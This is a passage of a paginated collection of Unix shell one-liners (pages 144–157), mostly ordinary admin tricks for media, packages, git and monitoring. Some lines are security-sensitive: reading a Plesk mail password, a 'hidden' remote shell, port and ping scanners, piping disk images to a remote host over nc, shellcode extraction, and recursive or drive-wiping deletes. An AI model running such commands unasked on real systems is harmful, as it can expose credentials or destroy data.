# DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 2)
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc
-lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o output.avi dvd.avi
# Remove several files with ease
rm file{1..10}
# Pulls email password out of Plesk database for given email address.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM
accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='webmaster';"
# Grab all .flv files from a webpage to the current working directory
wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+
[[:digit:]]\+\. //g'`
# Extract title from HTML files
sed -n 's/.*<title>\(.*\)<\/title>.*/\1/ip;T;q' file.html
# Command to keep an SSH connection open
watch -n 30 uptime
# List all packages by installed size (Bytes) on rpm distros
rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n
# Generate a list of installed packages on Debian-based systems
dpkg -l
# Pull Total Memory Usage In Virtual Environment
ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used:
", sum/1024, "MB\n"}'
# List manually installed packages (excluding Essentials)
aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4
# Display summary of git commit ids and messages for a given branch
git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'
# date offset calculations
date --date="1 fortnight ago"
# Sum size of files returned from FIND
find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'
# StopWatch, simple text, hh:mm:ss using Unix Time
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ;
seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $
(printf "%02d:%02d:%02d" $hours $minutes $seconds)'
# Extract all 7zip files in current directory taking filename spaces into account
for file in *.7z; do 7zr e "$file"; done

144 / 658

All UNIX COMMANDS

# Measure, explain and minimize a computer's electrical power consumption


sudo powertop
# Get just the IP for a hostname
getent hosts google.com | awk '{print $1}'
# Show top running processes by the number of open filehandles they have
lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
# Randomize lines (opposite of | sort)
random -f <file>
# Connect to TCP port 5000, transfer data and close connexion.
echo data | nc -q 0 host 5000
# find . -name
find . -name "*.txt" -exec sed -i "s/old/new/" {} \;
# Run the last command as root
su -c "!!"
# View all new log messages in real time with color
find /var/log -type f -iregex '.*[^\.][^0-9]+$' -not -iregex '.*gz$' 2> /dev/null | xargs
tail -n0 -f | ccze -A
# Display the top 10 running processes - sorted by memory usage
ps -eo rss,vsz,pid,cputime,cmd --width 100 --sort rss,vsz | tail --lines 10
# route output as next command's parameters
<cmd> | xargs -0 <cmd>
# Show all available colors on your terminal.
perl -E 'say $_,`tput setb $_`," "x(`tput cols`-length("$_")),`tput sgr0` for 0..(`tput
colors`-1)'
# "hidden" remote shell
ssh -T user@host /bin/bash -i
# Delete all non-printing characters from a file
tr -dc '[:print:]' < <file>
# Print number of mb of free ram
free -m | awk '/Mem/ {print $4}'
# create new branch from stashed changes
git stash branch testchanges
# Propagate X session cookies on a different user and login as that user
read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY:
-4:2}));sudo su - $u
# Delete all aliases for a network interface on a (Free)BSD system
ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete
# grep -v with multiple patterns.
sed '/test/{/error\|critical\|warning/d}' somefile

145 / 658

All UNIX COMMANDS


# easily find megabyte eating files or directories
du -hs *|grep M|sort -n
# Kill any process with one command using program name
pkill <name>
# Join lines
perl -pe 'eof()||s/\n/<SOMETEXT>/g' file.txt
# Extracting a range of pages from a PDF, using GhostScript
gs -sDEVICE=pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage=14 -dLastPage=17
-sOutputFile=OUTPUT.pdf ORIGINAL.pdf
# Check reverse DNS
host {checkIp or hostname} [dns server]
# Print number of mb of free ram
free -m | awk '/buffer/ {print $4}'
# Kill any process with one command using program name
kill -9 `ps ax | egrep [f]elix.jar | egrep -o -e '^ *[0-9]+'`

# for all who don't have the watch command


watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@
\t\t\t\t $date"; $@; sleep $t; done }
# limit the cdrom driver to a specified speed
eject -x 8 /dev/cdrom
# netstat with group by ip adress
netstat -ntu | awk ' $5 ~ /^[0-9]/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# Remove old kernel packages
dpkg -l linux-* | awk '/^ii/{ print $2}' | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e
[0-9] | xargs sudo apt-get -y purge
# Colour part of your prompt red to indicate an error
export PROMPT_COMMAND='if (($? > 0)); then echo -ne "\033[1;31m"; fi'; export PS1='[\[\]\u\
[\033[0m\] \[\033[1;34m\]\w\[\033[0m\]]\$ '
# Sorted list of established destination connections
netstat | awk '/EST/{print $5}' | sort
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep "inet " | cut -d ':' -f2 | awk '{print $1}'
# List the size of all sub folders and files from the current location, with sorting
du -a --max-depth=1 | sort -n
# Mysql extended status
mysqladmin -u root -p extended-status
# Dump audio from video without re-encoding.
ffmpeg -i file.ext -acodec copy -vn out.ext
# Get the full path to a file
realpath examplefile.txt

146 / 658

All UNIX COMMANDS


# A "Web 2.0" domain name generator and look for register availability
for domain in $(pwgen -1A0B 6 10); do echo -ne "$domain.com "; if [ -z "$(whois -H
$domain.com | grep -o 'No match for')" ]; then echo -ne "Not "; fi; echo "Available for
register"; done
# Prints per-line contribution per author for a GIT repository
git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print
"$1\n"' | sort -f | uniq -c -w3 | sort -r
# Print trending topics on Twitter
curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}'
| awk -F\< '{print $1}' | sed '/^$/d'
# sort lines by length
perl -C -e 'print for sort { length $a <=> length $b or $a cmp $b } <>' <
/usr/share/dict/words | tail
# Convert encoding from cp1252 (MS Windows) to UTF-8 on source code files
find . -iname *.java -type f -exec bash -c "iconv -f WINDOWS-1252 -t UTF-8 {}
-exec mv {}.tmp {} \;

> {}.tmp " \;

# Convert decimal numbers to binary


function decToBin { echo "ibase=10; obase=2; $1" | bc; }
# sudo for entire line (including pipes and redirects)
proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//'
-e 's/\"/\\\"/g'`" ; sudo sh -c "$sudor_command"; }; alias sudor="proceed_sudo # "
# A nice command for summarising repeated information
alias counts=sort | uniq -c | sort -nr
# Start screen with name and run command
screen -dmS "name_me" echo "hi"
# Execute a command with a timeout
$COMMAND 2>&1 >/dev/null & WPID=$!; sleep $TIMEOUT && kill $! & KPID=$!; wait $WPID
# Joins args together using the first arg as glue
joinargs() { (IFS="$1"; shift && echo "$*") }
# Binary digits Matrix effect
echo -e "\e[32m"; while :; do printf '%*c' $(($RANDOM % 30)) $(($RANDOM % 2)); done
# Monitor Linux/MD RAID Rebuild
watch -n 5 -d cat /proc/mdstat
# Use ImageMagick to get an image's properties
identify -ping imageName.png

# Matrix Style
echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM %
4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e
$v2;v2="";done;
# Bingo-like raffle
for i in $(seq 1 100 | sort -R); do echo $i; sleep 5; done
# Do some learning...

147 / 658

All UNIX COMMANDS


whatis /usr/bin/* 2> /dev/null | less
# Youtube-dl gone stale on you/stopped working (Ubuntu)?
sudo youtube-dl -U
# files and directories in the last 1 hour
find ./* -ctime -1 | xargs ls -ltr --color
# Printing multiple years with Unix cal command
for y in $(seq 2009 2011); do cal $y; done
# When was your OS installed?
ls -ldct /lost+found |awk '{print $6, $7}'
# rsync over ssh via non-default ssh port
rsync -e 'ssh -p PORT' user@host:SRC DEST
# floating point operations in shell scripts
echo "scale=4; 3 / 5" | bc
# Find processes utilizing high memory in human readable format
ps -eo size,pid,user,command --sort -size |awk '{hr[1024**2]="GB";hr[1024]="MB";for
(x=1024**3; x>=1024; x/=1024){if ($1>=x){printf ("%-6.2f %s ", $1/x, hr[x]);break}}}{printf
("%-6s %-10s ", $2, $3)}{for (x=4;x<=NF;x++){printf ("%s ",$x)} print ("\n")}'
# Blacklist usb storage
blacklist usb_storage >> /etc/modprobe.d/blacklist.conf
# Remove Backup Files
find / -name *~ -delete
# Check if x509 certificate file and rsa private key match
diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in
server.key )
# Show this month's calendar, with today's date highlighted
cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"
# Mount a partition from dd disk image
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
# Google URL shortener
curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e
's/"}/\n/g'
# list files in mtime order
ls -lt | more
# View Owner, Group & Permissions.
stat -c '%n %U:%G-%a' *
# Remove all hidden files in a directory
rm -r .??*
# Converts uppercase chars in a string to lowercase
echo StrinG | tr '[:upper:]' '[:lower:]'
# Simple server which listens on a port and prints out received data
ncat -l portnumber

148 / 658

All UNIX COMMANDS


# Updated top ten memory utilizing processes (child/instance aggregation) now with
percentages of total RAM
TR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;}
END {for (proc in proc_list) {proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f
%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10
# interactive rss-based colorful commandline-fu reader perl oneliner (v0.1)
open R,"curl -s http://feeds2.feedburner.com/Command-line-fu|xml2|"; while(<R>){ chomp;
m(^/rss/channel/item/title=) and do{ s/^.*?=//; ($t,$d,$l)=($_,undef,undef) };
m(^/rss/channel/item/description=) and do{ s/^.*?=//; push @d,$_ }; m(^/rss/channel/item
# Find files modified since a specific date
find /path/to/somewhere -newermt "Jan 1"
# kde4 lock screen command
qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock

# Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great for init
scripts
G=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G
# untar undo
tar tfz filename.tgz |xargs rm -Rf
# Random number generation within a range N, here N=10
echo $(( $RANDOM % 10 + 1 ))
# a find and replace within text-based files, for batch text replacement, not using perl
sed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`
# Disable WoL on eth0
sudo ethtool -s eth0 wol d
# Change Random Wallpaper on Gnome 3
gsettings set org.gnome.desktop.background picture-uri file://"$(find ~/Wallpapers -type f |
shuf -n1)"
# search google on os x
function google () { st="$@"; open "http://www.google.com/search?q=${st}"; }
# show all programs connected or listening on a network port
alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'
# Colorize make, gcc, and diff output
colormake, colorgcc, colordiff
# Undo commit in Mercurial
hg diff -c $REV --reverse | hg patch --no-commit # List all groups and the user names that were in each group
for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort
# Show the command line of a process that use a specific port (ubuntu)
cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "
# Show account security settings
chage -l <user>

149 / 658

All UNIX COMMANDS


# reclaim your window titlebars (in ubuntu lucid)
gconftool -s -t string /apps/metacity/general/button_layout "menu:minimize,maximize,close"
# Get full directory path of a script regardless of where it is run from
BASEDIR=$(dirname $(readlink -f $0))
# Find out the last times your system was rebooted (for the duration of wtmp).
last reboot
# Poor man's nmap for a class C network from rfc1918
( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[
$h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u
# Put split files back together, without a for loop
cat file{0..5} > mainfile
# find read write traffic on disk since startup
iostat -m -d /dev/sda1
# Print Asterisk phone logs
phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,11,12
--output-delimiter=" " | sed 's/"//g' | cut -d' ' -f 1,2,3,4,6 | column -t; }
# Fastest Sort. Sort Faster, Max Speed
alias sortfast='sort -S$(($(sed '\''/MemF/!d;s/[^0-9]*//g'\'' /proc/meminfo)/2048)) $
([ `nproc` -gt 1 ]&&echo -n --parallel=`nproc`)'
# Generate a playlist of all the files in the directory, newer first
find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2);
print $2}' > /tmp/playlist.m3u
# Generate random valid mac addresses
ruby -e 'puts (1..6).map{"%0.2X"%rand(256)}.join(":")'
# Execute a sudo command remotely, without displaying the password
stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo
# Show current iptables rules, with line numbers
iptables -nL -v --line-numbers

# Watch Al Jazeera Livestream directly in mplayer #jan25


mplayer $(wget -q -O - "http://europarse.real.com/hurl/gratishurl.ram?
pid=eu_aljazeera&amp;file=al_jazeera_en_lo.rm" | sed -e 's#lo.rm#hi.rm#')
# Go to the Nth line of file
sed -n 13p /etc/services
# Another way to calculate sum size of all files matching a pattern
find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc
# last.fm rss parser
egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</title>"
'{print $2, $1}' | sed -e 's/\<link\>/\<li\>\<a href\=\"/' -e 's/\<\/link\>/\">/' -e
's/\<title\>//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'
# Display GCC Predefined Macros
gcc -dM -E - <<<''

150 / 658

All UNIX COMMANDS


# Git Tree Command with color and tag/branch name
git log --graph --oneline --all --decorate --color
# SSH Auto-login with password
sshpass -p "YOUR_PASSWORD" ssh -o StrictHostKeyChecking=no YOUR_USERNAME@SOME_SITE.COM
# Run a bash script in debug mode, show output and save it on a file
bash -x script.sh 2> log
# Create a listing of all possible permissions and their octal representation.
touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do
chmod $N /tmp/$$;
/tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$

P=`ls -l

# Converting video file (.flv, .avi etc.) to .3gp


ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar
22050 output.3gp
# Download Youtube Playlist
y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo
$i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv "$y/get_video.php?video_id=$d&t=$
(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done
# High resolution video screen recording
gorecord() {
if [ $# != 1 ]; then
echo 'gorecord video.mp4'
-f x11grab -s <resolution> -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1"

return

fi

ffmpeg

# Mount Fat USB with RWX


sudo mount -t vfat -o umask=000,uid=YOUR_UID,gid=users /dev/sdb1 /media/usb
# Fill a hard drive with ones - like zero-fill, but the opposite :)
tr '\000' '\377' < /dev/zero | dd bs=512 count=200000 status=noxfer | pipebench | sudo dd
of=/dev/sdx
# Prefix every line with a timestamp
any command | while read line; do echo "[`date -Iseconds`] $line"; done
# Create patch file for two directories
diff -r -u originDir updateDir > result.patch
# Monitoring wifi connection by watch command (refresh every 3s), displaying iw dump info
and iwconfig on wireless interface "wlan0"
watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"
# Query an NFS host for its list of exports
/usr/sbin/showmount -e <host>
# Apply new patch for a directory (originDir)
patch -p0 -i result.patch
# Generate diff of first 500 lines of two files
diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)
# Create a 100MB file for testing transfer speed
dd if=/dev/random of=bigfile bs=1024 count=102400
# Get an IP address out of fail2ban jail
iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP
# Copy structure

151 / 658

All UNIX COMMANDS


structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d
-exec mkdir -pv $t/{} \;);}
# intercept stdout/stderr of another process or disowned process
strace -e write=1,2 -p $PID 2>&1 | sed -un "/^ |/p" | sed -ue "s/^.\{9\}\(.\{50\}\).\+/\1/g"
-e 's/ //g' | xxd -r -p
# Display the list of all opened tabs from Firefox via a python one-liner and a shell hack
to deal with python indentation.
python2 <<< $'import json\nf = open("sessionstore.js", "r")\njdata =
json.loads(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in
win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'

# Generate a random password


openssl rand -base64 12
# Verbosely delete files matching specific name pattern, older than 15 days.
rm -vf /backup/directory/**/FILENAME_*(m+15)
# backup directory. (for bash)
cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash
# recursive search and replace old with new string, inside files
grep -rl oldstring . | parallel sed -i -e 's/oldstring/newstring/'
# Make a ready-only filesystem ?writeable? by unionfs
mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs
# Paste OS X clipboard contents to a file on a remote machine
pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt'
# Batch rename extension of all files in a folder, in the example from .txt to .md
for f in *.txt;do mv ${f%txt}{txt,md}; done
# Prefix command output with duration for each line
program | gawk 'BEGIN { l=systime() ; p="-- start --" } { t=systime(); print t-l "s " p;
l=t; p=$0 } END { t=systime(); print t-l "s " p}'
# df without line wrap on long FS name
df -PH|column -t
# Optimize Xsane PDFs
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf
multipageproject.pdf
# Quick notepad
cat > list # Get your X11 screen mode
xrandr | grep \*
# Scans for open ports using telnet
HOST=127.0.0.1;for((port=1;port<=65535;++port)); do echo -en "$port ";if echo -en "open
$HOST $port\nlogout\quit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null; then echo
-en "\n\nport $port/tcp is open\n\n";fi;done | grep open
# concatenate avi files
avimerge -o output.avi -i file1.avi file2.avi file3.avi

152 / 658

All UNIX COMMANDS


# strips the first field of each line where the delimiter is the first ascii character
cut -f2 -d`echo -e '\x01'` file
# Extract JPEG images from a PDF document
pdfimages -j foo.pdf bar
# Go up multiple levels of directories quickly and easily.
cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=$
{dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}
# Show number of NIC's, ports per nic and PCI address
lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0;
split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI
address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'
# Finding the number of cpu's
grep -c -e '^cpu[0-9]\+' /proc/stat
# Compare an archive with filesystem
tar dfz horde-webmail-1.2.3.tar.gz
# monitor network traffic and throughput in real time
iptraf
# Re-emerge all ebuilds with missing files (Gentoo Linux)
emerge -av1 `qlist --installed --nocolor | uniq | while read cp; do qlist --exact $cp |
while read file; do test -e $file || { echo $cp; echo "$cp: missing $file (and maybe more)"
1>&2; break; }; done; done`
# Find out current working directory of a process
eval ls -l /proc/{$(pgrep -d, COMMAND)}/cwd
# Add an audio soundtrack to a series of images to create an flv
ffmpeg -t 300 -r '0.5' -i head-%03d.png -i ../TvQuran.com__144.mp3 -acodec copy muxed.flv
# Show the disk usage for files pointed by symbolic link in a directory
find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh

# Get Cookies from bash


a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b
HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done
# Delete recursively only empty folders on present dir
find ./ -empty -type d -delete
# List only the directories
ls -l | egrep ^d
# BASH: Print shell variable into AWK
MyVAR=85 awk '{ print ENVIRON["MyVAR"] }'
# Job Control
^z; bg; disown
# Processes by CPU usage
top -b -n 1 | sed 1,6d

153 / 658

All UNIX COMMANDS


# Quickest way to sort/display # of occurences
"some line input" | sort | uniq -c | sort -nr
# Run remote web page, but don't save the results
wget -O /dev/null http://www.google.com
# Getting ESP and EIP addresses from running processes
ps ax --format=pid,eip,esp,user,command
# Generate random password
randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}
# What is my public IP-address?
wget -qO- ifconfig.me/ip
# ruby one-liner to get the current week number
ruby -rdate -e 'p DateTime.now.cweek'
# Mouse Tracking
while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >>
./mouse-tracking; sleep 10; done
# SSH tunneling self-connection
autossh -M 0 -p 22 -C4c arcfour,blowfish-cbc -NfD 8080 -2 -L localport1:server1:remoteport1
-L bind_address2:localport2:server2:remoteport2 user@sshserver
# Google voice recognition "API"
wget -q -U "Mozilla/5.0" --post-file speech.flac --header="Content-Type: audio/x-flac;
rate=16000" -O - "http://www.google.com/speech-api/v1/recognize?lang=en-us&client=chromium"
# Extract shortcuts and hostnames from .ssh/config
awk '$1=="Host"{$1="";H=substr($0,2)};$1=="HostName"{print H,"$",$2}' ~/.ssh/config | column
-s '$' -t
# Add thousand separator with sed, in a file or within pipe
sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename
# Mysql uptime
mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1),
calc"Hour" }'
# Displays the number of processes per state
while true; do clear;awk '{a[$3]+=1};END{for(x in a){print x,a[x]}}' /proc/[0-9]*/stat;
sleep 1; done
# Check if running in an X session
if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi
# pretend to be busy in office to enjoy a cup of coffee
for i in $(seq 0 5 100); do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
# ThePirateBay.org torrent search
tpb() { wget -U Mozilla -qO - $(echo "http://thepiratebay.org/search/$@/0/7/0" | sed 's/ /\
%20/g') | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent' | tac; }
# Convert all WMF images to SVG recursively ignoring file extension case
find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o $
{FILENAME}.svg $FILE; done
# The Chronic: run a command every N seconds in the background

154 / 658

All UNIX COMMANDS


chronic () { t=$1; shift; while true; do $@; sleep $t; done & }
# Get all mac address
ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'

# system beep off


setterm -blength 0
# pretend to be busy in office to enjoy a cup of coffee
for i in $(seq 0 5 100); do echo $i; sleep 1; done | zenity --progress --title "Installing
Foobar" --text "Pleae wait until process has finished."
# Print environment information.
perl -e 'print map { $_ .= "$ENV{$_}\n" } (keys %ENV)'
# Strace all signals processes based on a name ( The processes already started... ) with
bash built-in
straceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/p }; }
# cd up a number of levels
function ..(){ for ((j=${1:-1},i=0;i<j;i++));do builtin cd ..;done;}
# Watch a movie in linux without the X windows system.
mplayer -vo fbdev -xy 1024 -fs -zoom /path/to/movie.avi
# ThePirateBay.org torrent search
wget -U Mozilla -qO - "http://thepiratebay.org/search/your_querry_here/0/7/0" | grep -o
'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent'
# Convert a flv video file to avi using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc xvid -xvidencopts bitrate=1200 inputfile.rmvb
-o output.avi
# Encrypted archive with openssl and tar
openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3
# Mirror the NASA Astronomy Picture of the Day Archive
wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html
# Concatenate video files to YouTube ready output
mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf
scale=320:240,harddup input1.avi input2.avi -o output.avi
# Efficient remote forensic disk acquisition gpg-crypted for multiple recipients
dd if=/dev/sdb | pigz | gpg -r <recipient1> -r <recipient2> -e --homedir /home/to/.gnupg |
nc remote_machine 6969
# memcache affinity: queries local memcached for stats, calculates hit/get ratio and prints
it out.
echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d"
" | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l
# How to pull out lines between two patterns
perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt
# append empty line after every line in file.txt
sed G file.txt

155 / 658

All UNIX COMMANDS


# Make less act like cat if its input's contents can fit on one screen
less -XF
# pipe output to notify-send
notify-send -t 5000 "date" "$(date)"
# List commands with a short summary
find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}";
done
# List the size (in human readable form) of all sub folders from the current location
du --max-depth=1|sort -n|cut -f2|tr '\n' '\0'|xargs -0 du -sh 2>/dev/null
# create a new script, automatically populating the shebang line, editing the script, and
making it executable.
shebang() { if i=$(which $1); then printf '#!%s\n\n' $i > $2 && vim + $2 && chmod 755 $2;
else echo "'which' could not find $1, is it in your \$PATH?"; fi; }
# Using Git, stage all manually deleted files.
git add -u
# Use GNU info with a pager
info --subnodes -o - <item> | less
# Create package dependency graph
apt-cache dotty PKG-NAME | dot -Tpng | display
# Permanent mysql ssh tunnel to server
autossh -M 3307 -f user@server.com -L 3307:127.0.0.1:3306
# Show what a given user has open using lsof
lsof -u www-data

# Get the IP address of a machine. Just the IP, no junk.


/sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1
# Show a Package Version on Debian based distribution
apt-cache show pkgname | grep -i "version:"
# Make a high definition VNC
vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900
# Counts number of lines
find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l
# Parallel mysql dump restore
find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix"
# Find the biggest files
du -sk * | sort -rn | head
# Get shellcode of the binary using objdump
for i in $(objdump -d binary -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
# Do a search-and-replace in a file after making a backup
perl -i'.bak' -pe 's/old/new/g' <filename>

156 / 658

All UNIX COMMANDS


# Return threads count of a process
ps -o thcount -p <process id>
# Display rows and columns of random numbers with awk
seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'
# Sort lines using the Xth characted as the start of the sort string
sort -k1.x
# check python syntax in vim
:!pylint -e %
# cat ~/.ssh/id_rsa.pub | ssh user@site.com "cat - >> ~/.ssh/authorized_keys"
concatenate local RSA to remote machine's authorized_keys
# Do quick arithmetic on numbers from STDIN with any formatting using a perl one liner.
perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'
# Donwload media from *.rm from an url of type htttp://.../*.ram
wget <URL> -O- | wget -i # Print text string vertically, one character per line.
echo "vertical text" | fold -1
# Block all IP addresses and domains that have attempted brute force SSH login to computer
(bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" |
awk '{print $2}' | sort | uniq >> /etc/hosts.deny
# Produce a pseudo random password with given length in base 64
date +%s | sha256sum | base64 | head -c <length>; echo
# extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html
# Figure out what shell you're running
ps -p $$
# Kill all processes belonging to a user
ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]
# Figure out your work output for the day
git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1
| cut -c1-40` HEAD
# shortcut to scp a file to the same location on a remote machine
scp filename root@remote:`pwd`
# Compare a remote file with a local file
diff <(ssh user@host cat /path/to/remotefile) /path/to/localfile
# bash auto-complete your screen sessions
complete -C "perl -e '@w=split(/ /,\$ENV{COMP_LINE},-1);\$w=pop(@w);for(qx(screen -ls))
{print qq/\$1\n/ if (/^\s*\$w/&&/(\d+\.\w+)/||/\d+\.(\$w\w*)/)}'" screen

# easily convert one unit to another


units "2048 bytes" "kibibytes"
# display ip address

157 / 658

All UNIX COMMANDS


curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>//g'
# whois surfing my web ?
watch lsof -i :80
# grep (or anything else) many files with multiprocessor power
find . -type f | parallel -j+0 grep -i foobar
# Play music from youtube without download
url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i
- -f mp3 -vn -acodec libmp3lame - > "$file.mp3"
# Using PIPEs, Execute a command, convert output to .png file, upload file to imgur.com,
then returning the address of the .png.
imgur(){ convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15"
http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo
"http://i.imgur.com/[^<]*";}
